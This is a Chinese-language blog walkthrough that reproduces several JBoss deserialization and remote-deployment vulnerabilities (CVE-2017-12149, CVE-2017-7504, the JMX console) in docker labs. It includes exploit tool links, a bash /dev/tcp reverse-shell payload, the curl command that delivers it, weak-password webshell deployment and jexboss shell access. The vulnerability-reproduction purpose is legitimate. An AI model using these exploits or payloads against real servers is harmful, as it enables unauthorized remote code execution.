JBOSS中间件漏洞总汇复现

VSole2021-12-27 06:43:49

JBoss JMXInvokerServlet 反序列化漏洞

漏洞复现

直接使用docker搭建的漏洞环境。

环境搭建完成后,直接使用工具检测即可:工具下载地址https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

环境启动以后,直接访问http://you-ip:8080。

 

 使用下载的工具进行检测 java -jar DeserializeExploit.jar

 

  执行命令

 

文件管理

 

 JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

参考链接:https://www.cnblogs.com/Hi-blog/p/7904443.html

漏洞背景

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

漏洞复现

漏洞环境

靶机地址:192.168.10.144 服务端口:8080

测试机:192.168.10.150

搭建好环境,访问地址:

http://192.168.1.102:8080/

及 http://192.168.1.102:8080/invoker/readonly

 

 

 响应码500,证明漏洞存在。

下载漏洞利用工具:http://scan.javasec.cn/java/JavaDeserH2HC.zip

 

先编译:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

  

设置反弹的IP和端口

 

这样就会将序列化对象保存在ReverseShellCommonsCollectionsHashMap.ser中,用curl命令发送到Jboss服务地址。

先在测试机运行nc命令,进入监听模式:

再打开另一个控制台,运行如下curl命令:

反弹成功

 

 JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

前言

序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法用于反序列化。问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。

  

漏洞环境

此次环境尝试用docker搭建。

靶机:

ip:192.168.10.144   操作系统:ubuntu18.0.4 LTS

攻击机:

ip:192.168.10.150   操作系统:kali

一、环境搭建

1.docker的安装参考

https://www.howtoing.com/ubuntu-docker

2.安装完docker后,直接拉取vulhub的源码。

https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-7504

3.靶机启动服务

执行如下命令启动JBoss AS 4.0.5

docker-compose up -d

 4.环境启动后,地址为http://192.168.112.132:8080/

 

漏洞复现

一、exp准备:

  • https://github.com/joaomatosf/JavaDeserH2HC

用法:

 

二、exploit

1) 选择ExampleCommonsCollections1WithHashMap,编译并生成序列化数据

 

javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java   #编译

  java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.10.150/1234 0>&1"      #ser全称serialize,序列化恶意数据至文件。  

   第一行命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.class

   第二行命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.ser

 

 2)发射:

  将该文件作为请求数据主体发送如下数据包:curl http://192.168.10.144:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser # --data-binary 意为以二进制的方式post数据

 

  反弹成功

 

JBoss远程部署漏洞

参考链接:https://www.cnblogs.com/Safe3/archive/2010/01/08/1642371.html

漏洞产生

后端未对用户可控参数做严格的过滤。

漏洞危害

导致任意命令执行,入侵者可以利用此漏洞直接获取webshell,进而对整个服务器进行控制。

漏洞复现

直接使用docker搭建的漏洞环境。

访问:http://you-ip:8080/

 

 

  点击,访问后台 使用弱口令登陆(admin--admin)

 

 

  进入后台,如图所示

 

 

 找到如下图所示的入口,点击进入

 

 

找到这个入口

 

 

在输入框中写入war压缩文件webshell的url地址,如上图

点击invoke执行界面获得一个jsp的webshell,(没有合适的jsp包)

使用kali复现

参考链接:https://blog.csdn.net/u011215939/article/details/79141624

所需工具:kallinux,jexboss,

获取工具:打开kalilinux,在kali终端中输入以下命令:

 

 下载完成

 

 运行 python jexboss.py

 检验是否能够执行,可以执行就是如下:

 

 找一个jboos的网站,如图所示

 将这个IP:8080复制到kalilinux中使用jexboss工具进行检测;

 

执行,工具会依次检测一下项目,有漏洞就会显示红色的:VULNERABLE(易受攻击的),工具就会根据找到容易受到攻击的点,进行利用

 

 然后选择yes,开始创建连接;

 

 返回信息显示连接成功了;

 

 现在获取了shell,开始执行shell命令了;返回的信息显示,这是一个linux操作系统;

 

执行几条命令看看;root权限 


序列化jboss
本作品采用《CC 协议》,转载必须注明作者和本文链接
干货|最全的Jboss漏洞复现笔记
JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。
JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LG
该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。 但有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
0x03 单机信息搜集tasklist /svc命令将获取到的进程列表与本地杀软进程进行对比后发现存在:ZhuDongFangYu.exe、aliyundun.exe、aliyun_assist_service.exe等进程。netstat -ano命令下发现1433、3389是开着的,但由于这台主机为内网,而且存在360主动防御,所以暂时无法实现文件落地、执行添加/修改用户密码、端口转发等操作。
接到一个紧急测试任务,只有一个目标名称和一个ip。这样的话webshell的url就无法正常访问了)带上cookie即可正常连接。连接成功后,为了稳定webshell,我们尝试将webshell写入到根目录和静态文件的目录,但是仍会受到强制跳转的影响。于是将webshell内容写入到了在登陆前就能访问的jsp正常文件中,来稳定shell。
0x00 前言这次渗透测试是从一个CVE开始的,从CVE到内网然后到域控!首先对发现了该站点有JBoss页面,经过测试发现具有JBoss序列化漏洞。使用网上提供的EXP和利用方法,在VPS上面获取了一个shell。
一次完整的渗透测试
2021-11-19 15:35:41
渗透测试中,Web端最常见的问题大多出现在弱口令、文件上传、未授权、任意文件读取、反序列化、模版漏洞等方面。因此,我们着重围绕这些方面进行渗透。
如何攻击Java Web应用
2021-08-23 11:06:00
本文从黑盒渗透的角度,总结下Java Web应用所知道的一些可能被利用的入侵点。
VSole
网络安全专家